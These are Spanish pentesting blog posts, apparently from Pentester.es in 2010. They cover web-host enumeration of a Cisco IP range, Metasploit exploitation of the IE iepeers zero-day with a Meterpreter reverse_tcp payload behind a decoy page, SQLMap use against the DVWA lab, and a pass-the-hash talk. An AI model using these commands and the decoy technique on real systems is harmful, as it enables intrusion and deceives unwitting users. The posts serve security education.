La herramienta la hemos dejado en nuestro (mini) repositorio de herramientas, con el nombre de WebSearch. Si veis la web principal del repositorio, veréis que hay otra herramienta en Perl que hice hace tiempo (y de la que ya hablamos en un par de ocasiones) para encontrar hosts llamada TargetSearch. Podéis usarla también si queréis en combinación con WebSearch, pero os aviso ya de que la tengo en proceso de mejora y de migración a Python, osea que es posible que en poco tiempo retire esa herramienta y publique la nueva.

Bueno, pues ahora que ya están hechas las presentaciones (WebSearch - Lectores de Pentester, Lectores de Pentester - WebSearch) vamos con un pequeño ejemplo práctico:

Imaginaos que estamos haciendo un Pentest y nos dicen el nombre de la empresa: Cisco. Cisco tiene varios dominios y rangos de red, pero por simplicidad vamos a coger uno, por ejemplo cisco.net .Ahora que ya tenemos un dominio a por el que ir, vamos a mirar en que IP está su web principal http://www.cisco.net ,y a partir de ahí vamos a sacar la red, que es lo que necesitamos para empezar a jugar con WebSearch:

# host www.cisco.net

www.cisco.net is an alias for redirect.cisco.com.

redirect.cisco.com has address 198.133.219.23

# whois 198.133.219.23

OrgName: Cisco Systems, Inc.

[...]

NetRange: 198.133.219.0 - 198.133.219.255

[...]

Bueno, pues parece que ya tenemos nuestra primera red perteneciente a Cisco, la comprendida entre 198.133.219.0 y 198.133.219.255 .Ahora solo tenemos que llamar a WebSearch con esta información para que nos empiece a sacar las webs, hosts por host:

# ./WebSearch.py 198.133.219.0-198.133.219.255

Searching hostnames for: 198.133.219.0 (0)

Searching hostnames for: 198.133.219.1 (0)

Searching hostnames for: 198.133.219.2 (0)

Searching hostnames for: 198.133.219.3 (0)

Searching hostnames for: 198.133.219.4 (0)

Searching hostnames for: 198.133.219.5 (0)

Searching hostnames for: 198.133.219.6 (0)

Searching hostnames for: 198.133.219.7 (0)

Searching hostnames for: 198.133.219.8 (0)

Searching hostnames for: 198.133.219.9 (0)

Searching hostnames for: 198.133.219.10 (2)

fed.cisco.com

supportforums.cisco.com

learningnetwork.cisco.com

Searching hostnames for: 198.133.219.11 (0)

[...]

La salida es muy larga (y más lo será cuantas más webs y más grande sea el rango), así que la truncamos solo para que se pueda ver que nos irá comprobando IP por IP y nos irá mostrando las webs de cada IP. Al número entre paréntesis no le hagáis mucho caso, es la cantidad de entradas en la caché que hay, pero no tiene nada que ver con el número de hosts.

La información referente a los hosts que se están chequeando sale por la salida de error, así que tenedlo en cuenta si queréis volcarlo a un fichero. Si por contra lo que queréis es solo una lista de webs ordenada para empezar a jugar, podéis hacer algo así:

# ./WebSearch.py 198.133.219.0-198.133.219.255 2>/dev/null | sort | uniq

ardentcom.com

c1.cisco.com

cio.cisco.com

cisco-al.com

cisco-ar.com

cisco-co.com

cisco.com

conft.com

contact1.cisco.com

developer.cisco.com

download-sj.cisco.com

edelivery.cisco.com

fed.cisco.com

fsx.cisco.com

ftp-sj.cisco.com

hp.cisco.com

ihomealliance.com

investor.cisco.com

learningnetwork.cisco.com

netsolve.com

netsystech.com

networkingacademies.com

newsroom.cisco.com

supportforums.cisco.com

szone.cisco.com

thurisa.com

trailhead-sj.cisco.com

www.builtforbroadband.org

www.c-i-s-c-o.com

www.cciemachine.com

www.cisco-de.com

www.cisco-id.com

www.cisco-la.com

www.cisco-ma.com

www.cisco-mi.com

www.cisco-secure.com

www.cisco-wy.com

www.cisco.biz

www.cisco.com

www.cisco.sh

www.ciscobenefits.net

www.ciscoconnects.net

www.ciscofield.org

www.ciscointernethome.com

www.ciscopark.com

www.ciscopro.com

www.ciscosecure.org

www.ciscosecurity.net

www.ciscosistemi.com

www.ciscosistemi.net

www.ciscosistemi.org

www.ciscostadium.net

www.ciscosysteme.org

www.ciscosystems.com

www.ciscosystemsnetwork.com

www.ciscotechnologyinc.com

www.dagazcomm.com

www.ieng.net

www.iq-magazine.org

www.netimpactstudy.com

www.onbusinessnetwork.com

www.sentientsupport.com

www.summa4.com

www.unity-net.com

Como podeis ver, hemos obtenido un montón de webs y de dominios nuevos asociados a Cisco que podemos utilizar para intentar penetrar a través de ellos en los sistemas. Al ser webs / dominios no principales, probablemente estarán menos securizados que los principales, ya sabeis, la puerta principal suele estar "bien" asegurada, pero igual le pegamos una pedrada a una ventana y por ahí nos colamos.

Por el momento la herramienta solo la he usado yo y algunos amigos de este mundillo, así que está en un estado "beta", si alguien detecta fallos por favor que me lo notifique por correo electrónico.

Espero que os guste la herramienta y que la encontréis de utilidad.

A disfrutarla!

IEPeers 0-Day: Explotando (otra vez) Internet Explorer

noreply@blogger.com (Jose Selvi) — Mon, 15 Mar 2010 06:24:00 +0000

Hace unos días, el pasado día 9 de Marzo, Microsoft publicó un Advisory que nos comunicaba la existencia de una Vulnerabilidad Zero Day en Internet Explorer 6 y 7, sin parche disponible, que podría ser explotada para ejecutar código de forma remota.

Dicha vulnerabilidad ha sido ya utilizada para la propagación de malware a través de Internet. El exploit utilizado ha sido obtenido y analizado, y ya ha sido portado a Metasploit, por lo que cualquiera puede utilizar este conocido framework de explotación para combinar esta nueva vulnerabilidad con nuestros payloads favoritos, en lugar del payload del malware con el que se encontró originariamente.

La vulnerabilidad encontrada es muy similar a la explotada por el famoso Aurora Zero-Day utilizado contra Google China, del que ya hablamos en su momento en un par de ocasiones. En este caso la vulnerabilidad se encuentra el la librería iepeers.dll y consiste en la realización de un acceso a memoria a través de un puntero previamente liberado, todo ello a través de Javascript:

Para utilizar Metasploit para explotar esta vulnerabilidad no es necesario descargarse el plugin del enlace que hemos referenciado, ya que forma parte del repositorio oficial de Metasploit, por lo que solo tenemos que actualizar nuestro framework:

# cd /opt/msf3

# svn update

Una vez actualizado, arrancamos Metasploit y seleccionamos este plugin, y nuestro payload favorito, en este caso Meterpreter:

# ./msfconsole

> use windows/browser/ie_iepeers_pointer

> set PAYLOAD windows/meterpreter/reverse_tcp

> set LHOST [BackTrackIP]

> show options

Una vez preparada la explotación ya solo tenemos que lanzar el exploit, el cual levantará un servidor web en el puerto 8080 y nos proporcionará una URL que el navegador víctima deberá visitar para ser explotado:

> exploit

Sin embargo, si utilizamos este exploit directamente contra un navegador, veremos que el navegador se queda completamente bloqueado o incluso que se cierra, así que vamos a introducir una pequeña variante para ocultar un poco la explotación de una manera no demasiado complicada ni sofisticada.

Para ello, levantamos un servidor apache en el puerto 80 con un simple HTML, a través del cual mostraremos una web "señuelo" para entretener al usuario mientras se lanza otro navegador que visita la URL que nos ha proporcionado Metasploit:

# cat /var/www/index.html

Bueno, pues ya lo tenemos todo listo, ahora solo nos queda que un pobre incauto visite nuestra web trampa. Podemos observar en el siguiente video como sería el efecto visual, además de como migramos Meterpreter de proceso para que no nos quedemos sin conexión al cerrar el usuario el navegador, todo ello de forma automática:

Estas pruebas han sido realizadas con Internet Explorer 6. No se han obtenido pruebas satisfactorias con Internet Explorer 7, ya que el exploit ha sido creado a partir del malware original, que parecía tener como foco únicamente la versión 6 del navegador de Microsoft. Sin embargo, la versión 7 del navegador también es vulnerable, y con algo más de esfuerzo podría obtenerse un exploit completamente funcional.

Para mitigar esta vulnerabilidad, se recomienda a todos los usuarios de Internet Explorer que actualicen su software a Internet Explorer 8, ya que esta versión no se ve afectada por la vulnerabilidad.

SQLMap: Inyección SQL Automática

noreply@blogger.com (José Miguel Holguín) — Tue, 09 Mar 2010 06:25:00 +0000

SQLMap es una herramienta para llevar a cabo inyecciones SQL realizada por Bernardo Damele (líder de proyecto) y Miroslav Stampar (Desarrollador). Es una herramienta desarrollada en Python y por tanto independiente del sistema operativo.

Una vez hecha la pequeña presentación de la herramienta, vamos a juguetear un poco con ella. Para las pruebas realizadas hemos utilizado:

DVWA versión 1.0.6 como aplicación vulnerable a SQL injection
SQLMap 0.7 como herramienta para realizar SQL injection
Mysql 5.0.51
Sistema Operativo, Debian

Accedemos a la aplicación DVWA con nuestras credenciales, accedemos desde el menú de la izquierda a la opción "SQL Injection":

La aplicación recibe un identificador numérico y devuelve qué usuario dispone de ese identificador. Por ejemplo, si introducimos un '1' como "user id" la aplicación nos devolverá 'admin'. La aplicación realiza la siguiente consulta SQL sobre la base de datos, "SELECT first_name, last_name FROM users WHERE user_id = '$id'", recibiendo como parámetro el user_id. En el caso de no realizar un buen tratamiento del identificador un atacante podrá realizar una inyección SQL.

Vamos a probar qué sucede si introducimos una comilla seguida de un identificador numérico:

Como vemos se produce un error que nos indica que estamos ante una "posible" inyección SQL. En este caso concreto sabemos a ciencia cierta que existe, así que ahora vamos a ver cómo se comporta SQLMap, para ello lanzamos SQLMap pasándole la URL y los identificadores de sesión:

$> sqlmap.exe --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f"

Resultado obtenido:

Nosotros sabemos que el parámetro id es vulnerable a SQL injection y que la base de datos es Mysql, pero en este caso SQLMap parece no darnos el resultado esperado, ¿por qué?. SQLMap compara la página sin ningún tipo inyección con la página con la inyección y en función de la variación entre ellas devuelve True o False (True si supera determinado ratio y False en el caso contrario). En nuestro caso si la inyección deriva en una página de error (por lo que no está bien construida) esta varía mucho de la página sin ningún tipo de inyección; por el contrario si la inyección resulta exitosa devolverá en el campo ID nuestra inyección, dejando igual los campos "First name" y "Surname". En la ejecución anterior SQLMap no funciona de manera correcta porque el campo ID con nuestra inyección hace variar demasiado la página. Si vamos haciendo una traza de la ejecución observamos que es en el fichero "comparison.py" donde devuelve "False" en base a dos valores, ratio y conf.matchRatio.

Añadimos dos líneas a este fichero, 'logger.info(ratio) y logger.info(conf.matchRatio)', para observar qué valores tienen las variables ratio y conf.matchRatio cuando realiza una inyección que efectivamente debería surtir efecto:

Como vemos la página con la inyección varía "demasiado" para ser detectado por nuestra sensible herramienta. Para ayudarla un poco vamos a utilizar el parámetro "--string", con el objetivo de introducir una cadena que esté siempre en la página sin inyección y en la página con una inyección que debiera volver True. Por contra esta cadena no debería estar cuando devuelva False. En este caso si introducimos como "id=1", sabemos que debe devolver admin cuando se produzca un True y no debe aparecer cuando devuelva False. Vamos a probar:

$> python -d /usr/bin/sqlmap --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f" --string="admin"

Resultado obtenido:

Ahora que parece funcionar, vamos a obtener por ejemplo las bases de datos que posee la base de datos:

Vemos que existen cuatro base de datos (dvwa, information_schema, mysql y wordpress281) en la base de datos. Llegados a este punto empieza la fiesta y ya podemos ir consultando con la herramienta diferentes aspectos de la base de datos, y que podéis consultar en el manual de SQLMap.

En una próxima entrada llegaremos un poco más lejos ..... a través de una inyección SQL. Espero que esta entrada os sirva para ver cómo toquetear SQLMap un poquito y empezar con lo divertido.

Windows Post-Explotation & Pass-the-Hash

noreply@blogger.com (Jose Selvi) — Wed, 03 Mar 2010 10:27:00 +0000

El pasado viernes por la tarde, en las Conferencias FIST de Barcelona, tuvimos la oportunidad de dar una de las charlas de 45 minutos en las que explicábamos algunas técnicas que podemos realizar durante la realización de un test de intrusión una vez hemos conseguido hacernos con el control de una de las máquinas. Concretamente, repasábamos algunas de las técnicas que se pueden emplear en sistemas Windows.

Entre las técnicas mencionadas, comentamos como se pueden aprovechar los fallos existentes en el antiguo Hash LANMAN utilizado aún por Microsoft por motivos de compatibilidad para obtener las contraseñas de una forma más fácil y rápida. Otra de las técnicas mencionadas consistía en la utilización de hashes que no habían podido ser crackeados debido a la robustez de la clave, pero que igualmente podían ser utilizados empleando técnicas de Pass-the-Hash para lograr propagar nuestra intrusión en el resto de los equipos sin necesidad de conocer la contraseña.
Podemos descargar la presentación o verla directamente a través de Scribd:

También podemos ver un pequeño video de las demostraciones que me llevé preparado por si me fallaban las maquetas, o el ordenador, o algo:

En el video podemos ver como, tras una intrusión en el sistema XPOWNED, robamos los hashes y los intentamos crackear utilizando las conocidas debilidades del algoritmo LANMAN de Microsoft. Sin embargo, una de las contraseñas se nos resiste tanto al ataque de diccionario como al de fuerza bruta, así que aplicamos sobre este Hash las técnicas de Pass-the-Hash. Para ello, utilizamos el Pass-the-Hash Toolkit (PSH) que como vemos cambia en la memoria de nuestro propio Windows las credenciales para sustituirlas por las credenciales del usuario suplantado, y a partir de ahí, a todos los efectos somos ese usuario en la red. Por último usamos el módulo PSExec de Metasploit para ejecutar comandos en el sistema XPTARGET. Para más información podeis consultar la presentación.

Por último, agradecer a todas las personas que vinieron el interés mostrado por nuestra charla. Esperamos que resultara interesante y esperamos también poder contar con vosotros para las sucesivas charlas que nos inviten a dar, que esperemos que sean muchas ;)

Lamento la tardanza en poner el post, pero lo de los videos se me sigue resistiendo, aunque parece que ahora, por fin, ya lo tengo solucionado ;P

Saludos a todos!

Pentester.es participa en las Conferencias FIST

noreply@blogger.com (Jose Selvi) — Fri, 19 Feb 2010 12:00:00 +0000

El próximo día 26 de Febrero tienen lugar en Barcelona las Conferencias FIST, que como ya sabréis generalmente se celebran alternativamente en Madrid y en Barcelona.

En Barcelona concretamente, ya llevan un par de años teniendo lugar dentro del contexto de la Fiberparty, una LANParty tradicional de esta ciudad que fue montada originariamente por estudiantes de la Facultad de Informática de Barcelona (UPC) en la que podemos tener acceso, además de los típicos torneos de los juegos más conocidos, a charlas y conferencias muy interesantes, e incluso un concurso de Hacking.

Si después de leer esto estáis pensando en apuntaros corriendo... lo siento, pero las entradas están ya agotadas a falta aún de dos semanas para el evento, aunque creo que si estáis interesados en las conferencias sí se puede asistir a ellas con un pase de visitante.

El caso es que hemos recibido una invitación por parte de la Organización de las Conferencias FIST para realizar una de las tres charlas que se impartirán en esta edición de las conferencias. El tema:

Windows Post-Explotation & Pass the Hash

La charla constará de 45 minutos en los que explicaremos alguna de las técnicas que podemos usar en la post-explotación de los sistemas Windows y un par de demostraciones en vivo de las herramientas y las técnicas.

Esperamos que el tema sea de vuestro interés y que aquellos que nos leen y tengan la oportunidad de estar por Barcelona se pasen a saludarnos.

Hasta entonces! Nos vemos en las FIST! ;)